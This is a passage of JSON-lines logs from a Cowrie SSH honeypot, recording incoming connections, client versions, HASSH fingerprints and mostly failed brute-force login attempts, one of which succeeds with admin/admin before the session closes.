16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:38.157322Z","src_ip":"194.113.233.25","session":"55d0c6c15295","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"titanium","message":"login attempt [root/titanium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:38.445391Z","src_ip":"194.113.233.25","session":"55d0c6c15295","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:01:39.542995Z","src_ip":"194.113.233.25","session":"55d0c6c15295","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":38064,"dst_ip":"10.17.0.5","dst_port":22,"session":"98b1f2735b13","protocol":"ssh","message":"New connection: 37.233.85.71:38064 (10.17.0.5:22) [session: 98b1f2735b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:20.623707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:20.629090Z","src_ip":"37.233.85.71","session":"98b1f2735b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:20.732502Z","src_ip":"37.233.85.71","session":"98b1f2735b13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lisalisa","message":"login attempt [root/lisalisa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:21.044385Z","src_ip":"37.233.85.71","session":"98b1f2735b13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:22.151271Z","src_ip":"37.233.85.71","session":"98b1f2735b13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":33674,"dst_ip":"159.203.135.109","dst_port":22,"session":"0078a1a3d607","protocol":"ssh","message":"New connection: 109.172.54.111:33674 (159.203.135.109:22) [session: 0078a1a3d607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:30.106602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:30.112493Z","src_ip":"109.172.54.111","session":"0078a1a3d607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:30.218642Z","src_ip":"109.172.54.111","session":"0078a1a3d607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lexus","message":"login attempt [root/lexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:30.522354Z","src_ip":"109.172.54.111","session":"0078a1a3d607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:31.627540Z","src_ip":"109.172.54.111","session":"0078a1a3d607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":56312,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac1eb1e83623","protocol":"ssh","message":"New connection: 78.44.192.210:56312 (10.17.0.5:22) [session: ac1eb1e83623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:41.910815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:41.915941Z","src_ip":"78.44.192.210","session":"ac1eb1e83623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:42.025499Z","src_ip":"78.44.192.210","session":"ac1eb1e83623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc@","message":"login attempt [root/123abc@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:42.490150Z","src_ip":"78.44.192.210","session":"ac1eb1e83623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":55066,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eba6c836cfc","protocol":"ssh","message":"New connection: 103.153.68.219:55066 (159.203.135.109:22) [session: 4eba6c836cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:42.991563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:42.996767Z","src_ip":"103.153.68.219","session":"4eba6c836cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:43.245207Z","src_ip":"103.153.68.219","session":"4eba6c836cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:43.602971Z","src_ip":"78.44.192.210","session":"ac1eb1e83623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":34710,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08a09b68b7f","protocol":"ssh","message":"New connection: 2.57.121.25:34710 (159.203.135.109:22) [session: e08a09b68b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:43.907830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:43.913175Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020288","message":"login attempt [root/020288] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:44.003584Z","src_ip":"103.153.68.219","session":"4eba6c836cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:44.018946Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120578","message":"login attempt [user/120578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:44.513661Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:45.255247Z","src_ip":"103.153.68.219","session":"4eba6c836cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12051978","message":"login attempt [user/12051978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:45.621736Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120491","message":"login attempt [user/120491] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:46.730555Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120487","message":"login attempt [user/120487] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:47.839213Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"120387","message":"login attempt [user/120387] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:48.948351Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:50.061636Z","src_ip":"2.57.121.25","session":"e08a09b68b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40976,"dst_ip":"10.17.0.5","dst_port":22,"session":"25986d7eed6c","protocol":"ssh","message":"New connection: 147.45.199.80:40976 (10.17.0.5:22) [session: 25986d7eed6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:54.925091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:54.930363Z","src_ip":"147.45.199.80","session":"25986d7eed6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:55.029866Z","src_ip":"147.45.199.80","session":"25986d7eed6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.72.3.119","src_port":14533,"dst_ip":"10.17.0.5","dst_port":22,"session":"99750e7b23b3","protocol":"ssh","message":"New connection: 79.72.3.119:14533 (10.17.0.5:22) [session: 99750e7b23b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:55.295751Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kitty","message":"login attempt [root/kitty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:55.327931Z","src_ip":"147.45.199.80","session":"25986d7eed6c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:55.397923Z","src_ip":"79.72.3.119","session":"99750e7b23b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:55.552725Z","src_ip":"79.72.3.119","session":"99750e7b23b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:56.256623Z","src_ip":"79.72.3.119","session":"99750e7b23b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:56.428777Z","src_ip":"147.45.199.80","session":"25986d7eed6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:56.552488Z","src_ip":"79.72.3.119","session":"99750e7b23b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":27242,"dst_ip":"10.17.0.5","dst_port":22,"session":"a896599890e1","protocol":"ssh","message":"New connection: 130.12.180.51:27242 (10.17.0.5:22) [session: a896599890e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:56.924050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:56.929627Z","src_ip":"130.12.180.51","session":"a896599890e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:57.012714Z","src_ip":"130.12.180.51","session":"a896599890e1","protocol":"ssh"}
